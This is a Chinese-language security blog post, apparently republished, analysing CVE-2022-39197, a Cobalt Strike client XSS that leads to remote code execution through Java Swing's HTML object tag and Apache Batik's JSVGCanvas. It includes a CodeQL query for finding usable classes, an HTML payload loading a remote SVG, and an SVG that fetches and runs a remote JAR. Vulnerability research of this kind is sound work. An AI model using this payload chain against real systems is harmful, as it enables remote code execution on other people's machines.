CVE-2022-39197 分析
2023-6-11 00:3:0 Author: 白帽子左一(查看原文) 阅读量:19 收藏

扫码领资料

获网安教程

免费&进群

之前9月份的时候,忘记写了。现在重新写一份记录一下整个过程。利用过程的查找真的是废了眼睛

CobaltStrike官方发布的最新4.7.1版本的更新日志中介绍,<=4.7的teamserver版本存在XSS漏洞

一、swing漏洞


CobaltStrike 使用的组件为swing 那么首先了解一下他是怎么解析使用html

https://docs.oracle.com/javase/tutorial/uiswing/components/html.html

解析HTMl Demo

  1. import javax.swing.\*;

  2. import java.awt.\*;

  3. public class demo {

  4. /\*\*{

  5. \* 创建并显示GUI。出于线程安全的考虑,

  6. \* 这个方法在事件调用线程中调用。

  7. \*/

  8. private static void createAndShowGUI() {

  9. // 确保一个漂亮的外观风格

  10. JFrame.setDefaultLookAndFeelDecorated(true);

  11. // 创建及设置窗口

  12. JFrame frame = new JFrame("HelloWorldSwing");

  13. frame.setDefaultCloseOperation(JFrame.EXIT\_ON\_CLOSE);

  14. frame.setPreferredSize(new Dimension(800, 600));

  15. // 添加 "Hello World" 标签

  16. JLabel label = new JLabel("<html><h1>66666</h1></html>");

  17. frame.getContentPane().add(label);

  18. // 显示窗口

  19. frame.pack();

  20. frame.setVisible(true);

  21. }

  22. public static void main(String\[\] args) {

  23. // 显示应用 GUI

  24. javax.swing.SwingUtilities.invokeLater(new Runnable() {

  25. public void run() {

  26. createAndShowGUI();

  27. }

  28. });

  29. }

  30. }

追踪一下解析html 的过程 发现最终会调用到javax.swing.text.html.HTML.java

会循环调用 每个TAG 标签。 执行完之后会经过javax/swing/text/html/HTMLDocument.HTMLReader 进行一个初始化

每个标签都有一个初始化函数例如:

例如A标签

这里大概明白了 他的一个整体的逻辑了。就是每个TAG 都有一个或者公用的一个类。

然后进入到javax/swing/text/html/HTMLEditorKit.create 函数中

在HTMLEditorKit里的create方法可以看到不同的标签会对应到创建不同的view

那么顺序是Read –> create –>new xx 视图。例如H6标签。如下

其中发现一个有意思的标签javax/swing/text/html/ObjectView

例子如下:

  1. <object classid="javax.swing.JLabel">

  2. <param name="text" value="sample text">

  3. </object>

代码如下:

  1. /\*\*

  2. \* Create the component. The classid is used

  3. \* as a specification of the classname, which

  4. \* we try to load.

  5. \*/

  6. protected Component createComponent() {

  7. AttributeSet attr = getElement().getAttributes();

  8. String classname = (String) attr.getAttribute(HTML.Attribute.CLASSID);

  9. try {

  10. ReflectUtil.checkPackageAccess(classname);

  11. Class c = Class.forName(classname, true,Thread.currentThread().

  12. getContextClassLoader());

  13. Object o = c.newInstance();

  14. if (o instanceof Component) {

  15. Component comp = (Component) o;

  16. setParameters(comp, attr);

  17. return comp;

  18. }

  19. } catch (Throwable e) {

  20. // couldn't create a component... fall through to the

  21. // couldn't load representation.

  22. }

  23. return getUnloadableRepresentation();

  24. }

首先获取了classid 字符串名称。然后直接获取了这个类的对象。然后进行实例化这个类。。但是这个有一个条件,就是为 Component 类或者是他的子类

那么看看。对应的key VALUE 的设置

那么总结一下这个object 的利用的条件

classid传入需要实例化的类,类必须继承与Component必须有无参构造方法,貌似是因为newinstant是调用的无参构造方法必须存在一个setXXX方法的XXX属性setXXX方法的传参数必须是接受一个string类型的参数

那么根据如上的要求。写了一个Demo

  1. import java.awt.Dimension;

  2. import javax.swing.\*;

  3. public class demo {

  4. private static void createAndShowGUI() {

  5. // 确保一个漂亮的外观风格

  6. JFrame.setDefaultLookAndFeelDecorated(true);

  7. // 创建及设置窗口

  8. JFrame frame = new JFrame("HelloWorldSwing");

  9. frame.setDefaultCloseOperation(JFrame.EXIT\_ON\_CLOSE);

  10. frame.setPreferredSize(new Dimension(800, 600));

  11. // 添加 "Hello World" 标签

  12. String payload = "<html><object classid='javax.swing.JLabel'><param name='text' value='test'></object>";

  13. System.out.println(payload);

  14. JLabel label = new JLabel(payload);

  15. frame.getContentPane().add(label);

  16. // 显示窗口

  17. frame.pack();

  18. frame.setVisible(true);

  19. }

  20. public static void main(String\[\] args) {

  21. // 显示应用 GUI

  22. javax.swing.SwingUtilities.invokeLater(new Runnable() {

  23. public void run() {

  24. createAndShowGUI();

  25. }

  26. });

  27. }

  28. }

JLabel 继承链—> JComponent —>Container —>Component

public class JLabel extends JComponent implements SwingConstants, Accessible

这里是引用了。javax.swing.JLabel.setText 函数

二、CobaltStrike 代码类的寻找


首先我们先导入任意一个版本的CS jar包到当前项目中

通过Navigate —–> Type Hierarchy 查询所有的子类

还可以使用codeql 进行查询

  1. class SetMethod extends Method{

  2. SetMethod(){

  3. this.getDeclaringType().getASupertype\*().hasQualifiedName("java.awt", "Component") and

  4. this.getName().indexOf("set") = 0 and

  5. this.getName().length() > 3 and

  6. this.isPublic() and

  7. this.fromSource() and

  8. this.getNumberOfParameters() = 1

  9. and this.getAParamType().getName() = "String"

  10. and this.getTotalNumberOfLines() > 3

  11. and this.getDeclaringType().getAConstructor().isPublic()

  12. and this.getDeclaringType().getAConstructor().hasNoParameters()

  13. }

  14. }

  15. from SetMethod setMethod

  16. select setMethod, setMethod.getDeclaringType().getPackage().getName()+"."+setMethod.getDeclaringType()

大概找了好几个小时之后。就发现了这个类比较符合条件的

org.apache.batik.swing.JSVGCanvas.setURI()

  1. public void setURI(String var1) {

  2. String var2 = this.uri;

  3. this.uri = var1;

  4. if (this.uri != null) {

  5. this.loadSVGDocument(this.uri);

  6. } else {

  7. this.setSVGDocument((SVGDocument)null);

  8. }

  9. this.pcs.firePropertyChange("URI", var2, this.uri);

  10. }

那么试试这个是否可以访问某个URl

  1. import javax.swing.\*;

  2. import java.awt.\*;

  3. import javax.swing.JLabel;

  4. public class demo {

  5. /\*\*{

  6. \* 创建并显示GUI。出于线程安全的考虑,

  7. \* 这个方法在事件调用线程中调用。

  8. \*/

  9. private static void createAndShowGUI() {

  10. // 确保一个漂亮的外观风格

  11. JFrame.setDefaultLookAndFeelDecorated(true);

  12. // 创建及设置窗口

  13. JFrame frame = new JFrame("HelloWorldSwing");

  14. frame.setDefaultCloseOperation(JFrame.EXIT\_ON\_CLOSE);

  15. frame.setPreferredSize(new Dimension(800, 600));

  16. // 添加 "Hello World" 标签

  17. JLabel label = new JLabel("<html><object classid='org.apache.batik.swing.JSVGCanvas'><param name='URI' value='http://192.168.1.72/1.txt'></object>\\n");

  18. frame.getContentPane().add(label);

  19. // 显示窗口

  20. frame.pack();

  21. frame.setVisible(true);

  22. }

  23. public static void main(String\[\] args) {

  24. // 显示应用 GUI

  25. javax.swing.SwingUtilities.invokeLater(new Runnable() {

  26. public void run() {

  27. createAndShowGUI();

  28. }

  29. });

  30. }

  31. }

发现是可以访问到的。那么有一个url 访问能有啥用呢?

尝试翻翻官方文档

https://xmlgraphics.apache.org/batik/using/scripting/ecmascript.html

发现竟然可以调用import

尝试一下

  1. <?xml version="1.0" standalone="no"?>

  2. <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">

  3. <script>

  4. Runtime.getRuntime().exec('calc');

  5. </script>

  6. </svg>

发现并不可行。继续看看官方文档。

https://xmlgraphics.apache.org/batik/using/scripting/java.html

发现还可以 application/java-archive 这种类型的加载

查找了一下Demo

https://www.agarri.fr/blog/archives/2012/05/11/svg\_files\_and\_java\_code\_execution/index.html

远程svg 文件

  1. <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100" xmlns:xlink="http://www.w3.org/1999/xlink">

  2. <script type="application/java-archive" xlink:href="http://127.0.0.1/6445.jar">

  3. </script>

  4. </svg>

制作一个利用的jar包

MANIFEST.MF 制定好你写的类

  1. Manifest-Version: 1.0

  2. Main-Class: mains

  3. SVG-Handler-Class: export.Demo

然后使用IDEA 的打包成jar 即可

然后执行一下 成功完成RCE

参考:

https://mp.weixin.qq.com/s/l5e2p_WtYSCYYhYE0lzRdQ

https://mp.weixin.qq.com/s/fZtDvpyAo-UZRE9MhfB0VQ

来源:https://www.o2oxy.cn/4157.html

声明:中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

@
学习更多渗透技能!体验靶场实战练习

hack视频资料及工具

(部分展示)

往期推荐

【精选】SRC快速入门+上分小秘籍+实战指南

爬取免费代理,拥有自己的代理池

漏洞挖掘|密码找回中的套路

渗透测试岗位面试题(重点:渗透思路)

漏洞挖掘 | 通用型漏洞挖掘思路技巧

干货|列了几种均能过安全狗的方法!

一名大学生的黑客成长史到入狱的自述

攻防演练|红队手段之将蓝队逼到关站!

巧用FOFA挖到你的第一个漏洞

看到这里了,点个“赞”、“再看”吧

文章来源: http://mp.weixin.qq.com/s?__biz=MzI4NTcxMjQ1MA==&mid=2247595657&idx=1&sn=714c9c6372de1b6ca9d6a75805b47f41&chksm=ebeb3fa4dc9cb6b25952ba48e7ac881cd5a5d7b9b0adc112f498684fa401ac312a476c1b0160#rd
如有侵权请联系:admin#unsafe.sh